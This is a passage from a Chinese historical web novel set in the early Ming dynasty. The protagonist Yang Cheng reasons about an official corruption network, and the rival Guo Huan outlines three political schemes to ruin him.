我曾想套出他的话来,看他如何对付你,可他精明得很,什么也不肯说。 老弟你要千万小心啊,真到了那个时候,愚兄位卑职小,未必能帮得上你啊!” 杨成面带微笑,一副对这些事儿已经了然于胸,就等着郭纲主动自首的样子。 其实心里却并不平静,甚至有些心惊。他知道秦强背后之人不会放过自己,却没想到来得这么快! 他也猜到白鹿山和秦强背后,应该不只是一个人,否则其力量不会如此强大。 白鹿山被放弃倒没什么,不过是一个泼皮成长起来的商人,充其量算是个黑手套儿,不敢炸刺儿。 秦强可是堂堂正正的户部主事,大明的六品命官,却肯毫无反抗地替人背锅。 那可不只是一死了之,那是剥皮萱草,全国巡展啊,以此时人的观念,死了都要变孤魂野鬼的。 这说明他身后之人的势力庞大,他即使咬死一两个人,甚至更多,但还会有漏网之鱼。 这些漏网之鱼可以让他家人死得很惨,所以他只能选择闭嘴背锅,以一人换全家,甚至全族。 对手究竟会如何对付自己?这个谜团让杨成很难受。不怕吓一跳,就怕不知道啊! 先下手为强?拿着现有的信息,去找朱标告发?让朱元璋彻查? 不行,自己没有任何证据,完全是捕风捉影。就算老朱相信自己,也只能干掉已知的王道亨。 秦强能闭嘴背锅,王道亨也可以。老朱再狠,也不可能仅凭自己的推测,就大开杀戒。 何况,自己这次抓了秦强,如果老朱真有心深查,为何不动用大刑拷问,而是杀了秦强了事呢? 联想到老朱这两年,忽然恢复了科举,并且录取率比之前提升很多,杨成忽然明白了。 胡惟庸案,空印案,连续两起大案,杀人太多了,官员不够用了。 之前科举基础薄弱,主要靠举荐制当官。而通过举荐制上来的官员,升官之路本就带着原罪。 像秦强一样,他能从一个税吏,摇身一变成为六部官员,对举荐人岂能不感恩戴德? 而举荐人既然推荐他,自然也是对其了如指掌,拿捏其把柄易如反掌,轻松拉他下水。 贪腐官员之间的网络就这样自然形成了,而且陷入了一个可怕的循环之中。 老朱杀贪官杀得越多,就越缺官吏;越缺官吏,通过推荐上来的官吏就越多。 通过推荐上来的官吏越多,贪官就越多;贪官越多,老朱杀贪官就杀得越多…… 杨成把自己代入到朱元璋的位子上,如果是他,他该如何打破这个恶性循环呢? 答案只有一个:在现阶段,唯一的办法就是——科举! 不管科举有多少弊端,它都是目前打破这个恶性循环的唯一选择,但前提是要严惩作弊。 所以即使老朱想让自己帮他干活儿,却也不敢给自己授官,而是让太子送扇子题字。 所以不管这帮人现在干的事儿,老朱究竟了解多少,他眼下都不会再大开杀戒了。 他在等,等科举彻底复兴,等人才储备到位,等大明的身子骨禁得起第三次腥风血雨。 很多时候,人们只看到了朱元璋对贪腐极端的仇恨,只看到了朱元璋下手变态般的狠辣。 却往往忽略了一件事儿:朱元璋从乞丐到皇帝,从头到尾,几乎没有走错过一步。 这是个极其成熟的政治家,他的愤怒,他的仇恨,他的薄情,他的狠辣,都是为政治服务的。 也就是说,在老朱耐心等待的这段时间里,自己别说没有证据,就是手握真凭实据,老朱也只会点射,不会扫射。 自己费那么大的劲,到时只能弄死王道亨一个人,于事无补,迎来的肯定是更疯狂的反扑。 时机未到,自己又不是老朱的儿子,哪怕自己被人玩儿死了,老朱也只会冷眼旁观,顾全大局。 最多杀一两个人意思一下,震慑一下,但对自己有屁用,死都死了。 怎么办?自己该怎么办?面对这样一个庞大的对手,队友还苟,自己该如何守住水晶? 忽然间,杨成眼睛一亮,想通了一件事儿。 老朱暂时不能大开杀戒,不代表他不喜欢贪官的血腥味儿,没准他已经憋得相当难受了。 所以他才会对秦强下那么重的手,其实就是趁机发泄心中的郁闷和狂躁。 所以老朱虽然不心疼我,但肯定更不心疼贪官。我死了他可能还会叹口气,贪官死了他没准会蹦个迪。 贪官对付我,我也对付贪官。他们势力虽强,却不敢明目张胆;我势力虽弱,却是正大光明。 杨成头脑风暴的过程中,郭纲一直傻呵呵的看着杨成,不知道对方为啥忽然就时间停止了。 杨成思虑完毕,冲傻看着自己的郭纲微微一笑:“老郭,别怕,兄弟罩你。” 郭纲愣了一下,杨成从未这么称呼自己过,不管自己叫他什么,他都是一个叫法。 自己从杨成换到杨公子换到杨老弟,杨成始终都是一句“县尊”。可今天…… 郭纲眉开眼笑:“如此,过去之事不提,今后老哥一定不负兄弟所托!” 第一百一十六章 三条毒计 郭纲是好人吗?不是,甚至可以说,是个轻度贪官污吏。 但杨成知道,在封建王朝里,看人的时候眼睛要斜视,和看现代人的眼光不能一致。 假设把人简单分成以下几个档次:极好——好——正常——坏——极坏,则对应关系大概如下。 古人的极好>现代的极好。古人的极好,也就是圣人的标准,十分极端,现代几乎没人能达到。 那是真正的舍身饲虎,割肉喂鹰,赵氏孤儿,一诺千金。 芦中人割头愿渡伍子胥,介子推烧死不离休绵山,都带着一股子让人咋舌的狠劲儿。 中间三个档次的,则现代全面好于古代。这和人性无关,是信息公开化和法律逐步完善的结果。 古代的好,放到现代只能算正常。古代的正常,放在现代就是坏。古代的坏,放在现代那就是很坏。 而古人的极坏则碾压现代的极坏。现代人的坏,因为有法律在,再坏也不敢太明目张胆。 爱泼斯坦弄个高端私人会所儿,还知道整个四邻不靠的小岛,悄悄地进村儿。 而古人因为有奴隶的存在,基本不拿人当人,一高兴就蒸两个童子,吃个美人啥的,令人发指。 所以别总盯着古人的极好,慨叹人心不古了,人心真古起来,一般人都受不了。 所以郭纲在此时的大明,可以算是个正常的人,如果从官员群体看,甚至水准还能超过平均线。 杨成肯跟郭纲合作,不但和他之前几次关键时刻的表现有关,更是因为这个评判标准。 杨成如果想弄掉郭纲,有好多办法,至少也能让郭纲丢官罢职,但换来一个新官儿,可能还不如郭纲。 敌人势力庞大,无孔不入。留住郭纲,保证海盐官面儿上的实力,是目前最好的局面。 这一点,不但杨成是这么想的,郭桓同样也是这么想的。 时间倒回到数日之前,在王道亨没离开京城之前,郭桓和自己的这位左膀右臂,有过一次诫勉谈话。 “你这次出京巡查,事关重大,一定要谨慎低调,把那些精彩的小游戏都收一收,不可落人口实。” 王道亨点头,同时希望老大能给透个底:“郭兄,你说有对付杨成的办法,却又语焉不详。 我这次巡查,究竟该做些什么,才能对付杨成,挽回咱们的颓势呢?” 郭桓捻须微笑道:“在春燕楼不能说得太明了,事以密成,就是靠山会,也分三六九等,内圈外围的。 对付杨成,我有三计。若是平常人,一计足以致命。可眼下杨成势头正盛,我打算三计齐发。” 王道亨素知这位上司心思缜密,智计百出,以一己之力,拉起整个靠山会,岂是常人能为之? “三计齐发?以郭兄智计,会不会太看得起这小子了?” 郭桓摇头道:“狮子搏兔亦用全力,像杨成这种人,打蛇不死,必受其害。 很多人,就是轻视了对手,有手段不一次用出来,把敌人培养得越来越强大,最后死了也不冤!” 王道亨深以为然,虽然那时候还没有爽文和RPG游戏,但愚蠢的反派一直都存在。 “不知郭兄是何等三计?我此次南去,需要做些什么?” “第一计为遮天蔽日。此计就要用到高定的信了。 把郭纲拿捏住,守备吴礼是咱们的人,海盐官方就是咱们的铁板一块了。 在大明,官就是天,就是日。杨成的民间势力再强,山高高不过天去!” 王道亨想起被迫参观秦强的剥皮萱草制作过程,忍不住头皮发麻,不寒而栗。 “可杨成拍了皇上的马屁,现在拿着大诰当令箭,会不会再搞一次这种事儿呢?” 郭桓冷笑道:“那是猝不及防啊。在此之前,从没人拿大诰当回事儿过。 所以秦强也是吃了肆无忌惮的亏。现在官员们都有准备了,那还会轻易让人抓住把柄? 你没看杨成之后,东吴百姓虽有蠢蠢欲动者,终是没有第二例出现吗? 官字两个口,百姓想找官员的麻烦,就算有大诰这条线,也是绝地求生,千难万难。 官员想找百姓的麻烦,那可就容易多了。随便一个借口,都能将百姓折腾得死去活来。 只要稳住了阵脚,让郭纲和吴礼慢慢找杨成的麻烦。杨成难道是圣人?永不犯错吗?” 王道亨连连点头,心中暗道果然是高手布局,看似风平浪静,却让人无路可逃,好可怕! “第二计为釜底抽薪。杨成这次下了血本儿,上缴税银足尺加三,干掉了秦强,得了皇上赏识。 这对他当然是一笔很划算的买卖,连我都佩服他的精明。可他也为自己埋下了隐患!” 郭桓顿了一下,停下喝了口茶,王道亨知道自己此时该捧哏一下,赶紧接话儿。 “不知是什么隐患呢?” “海盐百姓一时间哪里凑得出那许多税银来?杨成也没有那么多钱。 你没看那些地契吗?那是海盐百姓以地契为抵押,向海盐富户和糖商们借的钱。杨成是保人。 他保什么?他既要保富户和糖商们能收回钱,又要保他们不会趁机吞并海盐百姓的土地! 可若是那些糖商和富户们忽然翻脸了,你觉得杨成在海盐百姓中,还会有威望吗? 官府要找他麻烦,百姓不再拥戴他,用不了多久,他就死无葬身之地了!” 王道亨又打了个寒颤,狠,真他妈的太狠了。 “可是,那些富户家在海盐,未必敢和杨成翻脸。糖商们想要杨成的糖霜,也不会翻脸吧?” 郭桓微笑:“这些就需要你这次巡查时去办,至于武器,明日早朝后,就会握在你的手中了。” 王道亨知道郭桓喜欢弄些玄虚,以高人一等,也就不再追问,而是问最后一计为何计。 郭桓冷笑道:“鲁王殿下被皇上禁足了数日,寻死觅活,如今已经被放出来了。 听说这几日,都盘桓在青楼里喝酒听曲儿,正是让他知道些消息的好时机。 算来,杨成也该到家了,他身祧七家,全族皆知他娶了娘子,绝无分居之理。 何况看那小子出入青楼的样子,也不是什么正人君子。 鲁王看上的宫人,又岂会差了?此时生米必然已经煮成熟饭了。 这第三计,就是驱虎吞狼之计,趁着鲁王还未就藩,弄死个杨成,不算什么大事儿。”